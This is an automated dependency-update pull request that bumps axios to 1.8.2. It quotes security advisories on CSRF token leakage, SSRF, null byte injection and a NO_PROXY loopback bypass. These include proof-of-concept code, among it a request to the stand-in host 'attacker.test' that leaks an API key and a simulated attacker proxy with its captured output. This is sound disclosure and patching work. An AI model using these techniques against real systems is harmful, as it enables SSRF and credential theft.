fix(deps): update dependency axios to v1 [security]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	0.21.4 → 1.8.2

---

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

---

Axios Cross-Site Request Forgery Vulnerability

CVE-2023-45857 / GHSA-wf5p-g6vw-rhxx

More information

Details

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

References

• https://nvd.nist.gov/vuln/detail/CVE-2023-45857
• https://github.com/axios/axios/issues/6006
• https://github.com/axios/axios/issues/6022
• https://github.com/axios/axios/pull/6028
• https://github.com/axios/axios/commit/96ee232bd3ee4de2e657333d4d2191cd389e14d0
• https://github.com/axios/axios/releases/tag/v1.6.0
• https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459
• https://github.com/axios/axios/pull/6091
• https://github.com/axios/axios/commit/2755df562b9c194fba6d8b609a383443f6a6e967
• https://github.com/axios/axios/releases/tag/v0.28.0
• https://security.netapp.com/advisory/ntap-20240621-0006
• https://github.com/advisories/GHSA-wf5p-g6vw-rhxx

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Server-Side Request Forgery in axios

CVE-2024-39338 / GHSA-8hc4-vh64-cxmj

More information

Details

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

Severity

High

References

• https://nvd.nist.gov/vuln/detail/CVE-2024-39338
• https://github.com/axios/axios/releases
• https://jeffhacks.com/advisories/2024/06/24/CVE-2024-39338.html
• https://github.com/axios/axios/issues/6463
• https://github.com/axios/axios/pull/6539
• https://github.com/axios/axios/pull/6543
• https://github.com/axios/axios/commit/6b6b605eaf73852fb2dae033f1e786155959de3a
• https://github.com/axios/axios/releases/tag/v1.7.4
• https://github.com/advisories/GHSA-8hc4-vh64-cxmj

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

CVE-2025-27152 / GHSA-jr5f-v2jv-69x6

More information

Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

• When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
• Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

2. Create a script (e.g., main.js):

import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);

3. Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

• Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
• SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
• Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Severity

• CVSS Score: 7.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

• https://github.com/axios/axios/security/advisories/GHSA-jr5f-v2jv-69x6
• https://github.com/axios/axios/issues/6463
• https://github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f
• https://github.com/axios/axios/releases/tag/v1.8.2
• https://nvd.nist.gov/vuln/detail/CVE-2025-27152
• https://github.com/axios/axios/pull/6829
• https://github.com/axios/axios/commit/02c3c69ced0f8fd86407c23203835892313d7fde
• https://github.com/advisories/GHSA-jr5f-v2jv-69x6

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

CVE-2026-42040 / GHSA-xhjh-pmcv-23jw

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component: lib/helpers/AxiosURLSearchParams.js:21

CWE

• CWE-626: Null Byte Interaction Error (Poison Null Byte)
• CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	Attacker controls input parameters remotely
Attack Complexity	High	Standard axios request flow (buildURL) uses its own encode function which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact limited to HTTP request URL
Confidentiality	None	No confidentiality impact
Integrity	Low	Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
Availability	None	No availability impact

Vulnerable Code

File: lib/helpers/AxiosURLSearchParams.js, lines 13-26

function encode(str) {
  const charMap = {
    '!': '%21',     // literal → encoded (SAFE direction)
    "'": '%27',     // literal → encoded (SAFE direction)
    '(': '%28',     // literal → encoded (SAFE direction)
    ')': '%29',     // literal → encoded (SAFE direction)
    '~': '%7E',     // literal → encoded (SAFE direction)
    '%20': '+',     // standard transformation (SAFE)
    '%00': '\x00',  // LINE 21: encoded → raw null byte (UNSAFE direction!)
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
    return charMap[match];
  });
}

Why the Standard Flow Is NOT Affected

// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's
const _encode = (options && options.encode) || encode;  // buildURL's encode

// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams
new AxiosURLSearchParams(params, _options).toString(_encode);  // external encoder used

// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used
const _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode;
//                                                                              ^^^^^^
//                                           internal encode passed as 2nd arg but only used if
//                                           the external encoder explicitly delegates to it

Proof of Concept

import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js';
import buildURL from './lib/helpers/buildURL.js';

// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)
const params = new AxiosURLSearchParams({ file: 'test\x00.txt' });
const result = params.toString();  // NO encoder → uses internal encode with charMap
console.log('Direct toString():', JSON.stringify(result));
// Output: "file=test\u0000.txt" (contains raw null byte)
console.log('Hex:', Buffer.from(result).toString('hex'));
// Output: 66696c653d74657374002e747874  (00 = null byte)

// Test 2: Via buildURL (NOT vulnerable — standard axios flow)
const url = buildURL('http://example.com/api', { file: 'test\x00.txt' });
console.log('Via buildURL:', url);
// Output: http://example.com/api?file=test%00.txt  (%00 preserved safely)

Verified PoC Output

Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874

Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true

Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

• Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
• Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
• Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

function encode(str) {
  const charMap = {
    '!': '%21',
    "'": '%27',
    '(': '%28',
    ')': '%29',
    '~': '%7E',
    '%20': '+',
    // REMOVED: '%00': '\x00'
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) {
    //                                           ^^^^ removed |%00
    return charMap[match];
  });
}

Resources

• CWE-626: Null Byte Interaction Error
• CWE-116: Improper Encoding or Escaping of Output
• OWASP: Embedding Null Code
• Axios GitHub Repository

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: documented standard-flow limitation, corrected CVSS
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

• CVSS Score: 3.7 / 10 (Low)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw
• https://nvd.nist.gov/vuln/detail/CVE-2026-42040
• https://github.com/advisories/GHSA-xhjh-pmcv-23jw

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0

CVE-2026-42043 / GHSA-pmwg-cvhr-8vh7

More information

Details

1. Executive Summary
This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.

Background — The Original Vulnerability
The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NO_PROXY matching entirely and be forwarded to the configured HTTP proxy — even when NO_PROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.

The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.

The Incomplete Patch — This Finding
While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.

The patch introduced a hardcoded set of recognized loopback addresses:

// lib/helpers/shouldBypassProxy.js — Line 1
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);

However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.

As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NO_PROXY protection even in the fully patched Axios 1.15.0 release.

Verification
This bypass has been independently verified on:

• Axios version: 1.15.0 (latest patched release)
• Node.js version: v22.16.0
• OS: Kali Linux (rolling)

The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.

2. Deep-Dive: Technical Root Cause Analysis
2.1 Vulnerable File & Location

Field	Detail
File	lib/helpers/shouldBypassProxy.js
Primary Flaw	isLoopback() — Line 1–3
Supporting Function	shouldBypassProxy() — Line 59–110
Axios Version	1.15.0 (Latest Patched Release)

2.2 How Axios Routes HTTP Requests The Call Chain
When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:

// lib/adapters/http.js — Lines 191–199
function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  if (!proxy && proxy !== false) {
    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var
    if (proxyUrl) {
      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY
        proxy = new URL(proxyUrl);               // Step 3: Assign proxy
      }
    }
  }
}

shouldBypassProxy() is the single gatekeeper for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.

2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)
Before Axios 1.15.0, hostnames were compared against NO_PROXY using a raw literal string match with no normalization:

Request URL → http://localhost./secret
NO_PROXY    → "localhost,127.0.0.1,::1"
Comparison:
  "localhost." === "localhost"   →  FALSE  →  Proxy used  ← BYPASS
  "[::1]"     === "::1"         →  FALSE  →  Proxy used  ← BYPASS

Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.

2.4 What the Patch Fixed (Axios 1.15.0)
The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:

Fix A normalizeNoProxyHost() (Lines 47–57)
Strips alternate representations before comparison:

const normalizeNoProxyHost = (hostname) => {
  if (!hostname) return hostname;
  // Remove IPv6 brackets: "[::1]" → "::1"
  if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') {
    hostname = hostname.slice(1, -1);
  }
  // Strip trailing FQDN dot: "localhost." → "localhost"
  return hostname.replace(/\.+$/, '');
};

Fix B Cross-Loopback Equivalence (Lines 1–3 & 108)
Allows 127.0.0.1 and localhost to match each other interchangeably:

const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// Line 108 — Final match condition:
return hostname === entryHost
    || (isLoopback(hostname) && isLoopback(entryHost));
//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//      If both sides are "loopback" → treat as match

Fix C Normalization Applied on Both Sides (Lines 81 & 90)

// Request hostname normalized:
const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());
// Each NO_PROXY entry normalized:
entryHost = normalizeNoProxyHost(entryHost);

2.5 The Incomplete Patch Exact Root Cause
The fundamental flaw resides in Line 1:

// lib/helpers/shouldBypassProxy.js — Line 1  ← ROOT CAUSE
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
//                                              ^^^^^^^^^^^
//                              Only ONE IPv4 loopback address is recognized.
//                              The entire 127.0.0.0/8 subnet is unaccounted for.
// Line 3 — Lookup against this incomplete set:
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
//                                               ^^^^^^^^^
//                          Returns FALSE for any 127.x.x.x ≠ 127.0.0.1

*RFC 1122 §3.2.1.3 is unambiguous:

"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."

This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.

2.6 Step-by-Step Bypass Execution Trace
Environment:

NO_PROXY   = "localhost,127.0.0.1,::1"
HTTP_PROXY = "http://attacker-proxy:5300"
Target URL = "http://127.0.0.2:9191/internal-api"

Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):

// Step 1 — Parse the request URL
parsed   = new URL("http://127.0.0.2:9191/internal-api")
hostname = "127.0.0.2"    // parsed.hostname
// Step 2 — Read NO_PROXY environment variable
noProxy  = "localhost,127.0.0.1,::1"   // lowercased
// Step 3 — Normalize the request hostname
hostname = normalizeNoProxyHost("127.0.0.2")
//          No brackets → skip
//          No trailing dot → skip
//          Result: "127.0.0.2"  (unchanged)
// Step 4 — Iterate over NO_PROXY entries
//  Entry → "localhost"
entryHost = "localhost"
"127.0.0.2" === "localhost"                  → false
isLoopback("127.0.0.2")                      → false  ← Set.has() returns false
                                                          BYPASS starts here
//  Entry → "127.0.0.1"
entryHost = "127.0.0.1"
"127.0.0.2" === "127.0.0.1"                 → false
isLoopback("127.0.0.2") && isLoopback("127.0.0.1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
//  Entry → "::1"
entryHost = "::1"
"127.0.0.2" === "::1"                        → false
isLoopback("127.0.0.2") && isLoopback("::1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
// Step 5 — Final return
shouldBypassProxy() → false
//  Axios proceeds to route the request through the configured proxy.
//  The attacker's proxy server receives the full request including headers
//  and any response from the internal service.

2.7 Why the Patch Design Is Flawed
The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).

Aspect	Original Bug	This Finding
What was wrong	No normalization before comparison	Incomplete loopback address set
Fix applied	Added normalizeNoProxyHost()	None set remains hardcoded
RFC compliance	Violated RFC 1034 & RFC 3986	Violates RFC 1122 §3.2.1.3
Bypass method	Alternate string representation	Alternate valid loopback address
Impact	NO_PROXY bypass → SSRF	NO_PROXY bypass → SSRF (identical)

**2.8 Total Exposed Address Space**
Protected by patch:    127.0.0.1          (1 address)
Unprotected loopback:  127.0.0.2
                       through
                       127.255.255.254    (16,777,213 addresses)

Real-world services that commonly bind to non-standard loopback addresses include:

• Internal microservices and admin dashboards using dedicated loopback IPs
• Development environments with multiple isolated service instances
• Docker and container bridge network configurations
• Test infrastructure allocating sequential loopback IPs across services

3. Comprehensive Attack Vector & Proof of Concept

3.1 Reproduction Steps

Step 1 — Create a fresh project directory

mkdir axios-bypass-test && cd axios-bypass-test

Step 2 — Initialize the project with the patched Axios version
Create package.json:

{
  "type": "module",
  "dependencies": {
    "axios": "1.15.0"
  }
}

Install dependencies:

npm install

Verify the installed version:

npm list axios

##### Expected output: axios@1.15.0

Step 3 — Create the PoC file (poc.js)

import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
  console.log('\n[!] PROXY HIT — Attacker proxy received request!');
  console.log(`    Method : ${req.method}`);
  console.log(`    URL    : ${req.url}`);
  console.log(`    Host   : ${req.headers.host}`);
  res.writeHead(200);
  res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY   = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
  console.log(`\n[*] Testing: ${url}`);
  try {
    const res = await axios.get(url, { timeout: 2000 });
    if (res.data === 'proxied') {
      console.log('    Result → [PROXIED]  ← BYPASS CONFIRMED');
    } else {
      console.log('    Result → [DIRECT]   ← Safe, no proxy used');
    }
  } catch (err) {
    if (err.code === 'ECONNREFUSED') {
      console.log('    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)');
    }
  }
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
  // Section A: Cases fixed by the existing patch — expected to go DIRECT
  console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
  await test('http://localhost:9191/secret');
  await test('http://localhost.:9191/secret');
  await test('http://[::1]:9191/secret');
  // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
  console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
  await test('http://127.0.0.2:9191/secret');
  await test('http://127.0.0.100:9191/secret');
  await test('http://127.1.2.3:9191/secret');
  process.exit(0);
}, 500);

Step 4 — Execute the PoC

node poc.js

3.2 Observed Output
The following output was captured during testing on Kali Linux with Axios 1.15.0:

=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://localhost.:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://[::1]:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===
[*] Testing: http://127.0.0.2:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.2:9191/secret
    Host   : 127.0.0.2:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.0.0.100:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.100:9191/secret
    Host   : 127.0.0.100:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.1.2.3:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.1.2.3:9191/secret
    Host   : 127.1.2.3:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 

3.3 Analysis of Results
The output conclusively demonstrates the following:

Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.

Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.

This confirms that the NO_PROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.

4. Impact Assessment
This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NO_PROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.

4.1 Who Is Impacted?

Primary Target — Node.js Backend Applications
Any Node.js application that meets all three of the following conditions is vulnerable:

Condition 1:  Uses Axios 1.15.0 (latest patched) for HTTP requests
Condition 2:  Has HTTP_PROXY or HTTPS_PROXY set in its environment
              (common in corporate networks, cloud deployments,
               containerised environments, and CI/CD pipelines)
Condition 3:  Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)
              to protect loopback or internal services from proxy routing

Affected Deployment Environments

Environment	Risk Level
Cloud-hosted applications (AWS, GCP, Azure)	Critical
Containerised microservices (Docker, Kubernetes)	Critical
Corporate networks with mandatory proxy	High
CI/CD pipelines with proxy environment variables	High
On-premise servers with internal proxy	High

Scale of Exposure
Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.

4.3 Impact Details

Impact 1 Silent Interception of Internal Service Traffic

When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.

Developer expects:    Application → 127.0.0.2:8080 (direct)
Actual behaviour:     Application → Attacker Proxy → 127.0.0.2:8080
The proxy receives:
  - Full request URL
  - HTTP method
  - All request headers (including Authorization, Cookie, API keys)
  - Request body (for POST/PUT requests)
  - Full response from the internal service

The developer receives no error or warning. From the application's perspective, the request succeeds normally.

Impact 2 — SSRF Mitigation Bypass
Many applications implement SSRF protections by configuring NO_PROXY to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond 127.0.0.1.

SSRF Protection (as configured by developer):
  NO_PROXY = localhost,127.0.0.1,::1
What developer believes is protected:
  All loopback/internal addresses
What is actually protected:
  Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)
What remains exposed:
  127.0.0.2 through 127.255.255.254 (16,777,213 addresses)

An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.

Impact 3 — Cloud Metadata Service Exposure
In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.

While the AWS IMDSv2 service is reachable at 169.254.169.254 (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the 127.0.0.0/8 range. An attacker reaching any of these services through the bypass could:

• Retrieve temporary IAM credentials
• Access environment variables containing secrets
• Enumerate internal service configurations
• Pivot to other internal services via the compromised credentials

Impact 4 — Confidential Data Exfiltration
Any internal service binding to a 127.x.x.x address other than 127.0.0.1 is fully exposed. This includes:

Internal Service Type	Exposed Data
Admin panels / dashboards	User data, configuration, logs
Internal APIs	Business logic, database contents
Secret managers / vaults	API keys, tokens, certificates
Health check endpoints	Infrastructure topology
Development services	Source code, environment variables

Impact 5 — No Indication of Compromise
A particularly dangerous characteristic of this vulnerability is that it is completely silent neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.

4.4 Comparison with Original Vulnerability

Internal Service Type	Exposed Data	Exposed Data
Attack method	Use localhost. or [::1]	Use any 127.x.x.x ≠ 127.0.0.1
Patch status	Fixed in 1.15.0	Not fixed in 1.15.0
CVSS score	9.3 Critical	9.9 Critical or (equivalent)
Attacker effort	Trivial	Trivial
Detection by developer	None	None
Impact	SSRF / proxy bypass	SSRF / proxy bypass (identical)

The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.

5. Technical Remediation & Proposed Fix

5.1 Vulnerable Code Block

The vulnerability resides in lib/helpers/shouldBypassProxy.js at lines 1–3. The following is the exact code extracted from Axios 1.15.0:

// lib/helpers/shouldBypassProxy.js — Axios 1.15.0
// Lines 1–3 (VULNERABLE)
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);

This hardcoded Set is subsequently used at line 108 during the final NO_PROXY match evaluation:

// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE)
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
//                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// isLoopback("127.0.0.2") → LOOPBACK_ADDRESSES.has("127.0.0.2") → FALSE
// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1

Why this is dangerous: The Set performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns false, causing shouldBypassProxy() to return false and silently route the request through the configured proxy.

5.2 Proposed Patched Code
Replace lines 1–3 in lib/helpers/shouldBypassProxy.js with the following RFC-compliant implementation:

// lib/helpers/shouldBypassProxy.js
// Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant)
const isLoopback = (host) => {
  // Named loopback hostname
  if (host === 'localhost') return true;
  // IPv6 loopback address
  if (host === '::1') return true;
  // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3)
  // Matches any address from 127.0.0.0 through 127.255.255.254
  const parts = host.split('.');
  return (
    parts.length === 4 &&
    parts[0] === '127' &&
    parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
  );
};

5.3 Diff View — Before vs After

// lib/helpers/shouldBypassProxy.js
- const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
-
- const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
+ const isLoopback = (host) => {
+   if (host === 'localhost') return true;
+   if (host === '::1') return true;
+   const parts = host.split('.');
+   return (
+     parts.length === 4 &&
+     parts[0] === '127' &&
+     parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
+   );
+ };

All other code in shouldBypassProxy.js remains unchanged. No other files require modification.

5.4 Why This Fix Must Be Applied

Reason 1 — RFC 1122 Compliance

The current implementation violates RFC 1122 §3.2.1.3, which defines the entire 127.0.0.0/8 block as the IPv4 loopback address range not just the single address 127.0.0.1. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.

RFC 1122 §3.2.1.3:
"The address 127.0.0.0/8 is assigned for loopback.
 A datagram sent by a higher-level protocol to a loopback
 address MUST NOT appear on any network."
Current fix covers  :  3 addresses (localhost, 127.0.0.1, ::1)
Proposed fix covers :  16,777,216 addresses (entire 127.0.0.0/8 + loopback names)

Reason 2 — The Existing Patch Has Already Failed Once

The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting 127.0.0.1 with any other address in the 127.0.0.0/8 range. Leaving this gap unaddressed means that the patch creates a false sense of security developers believe their loopback traffic is protected when it is not.

Reason 3 — Real Operating System Behaviour
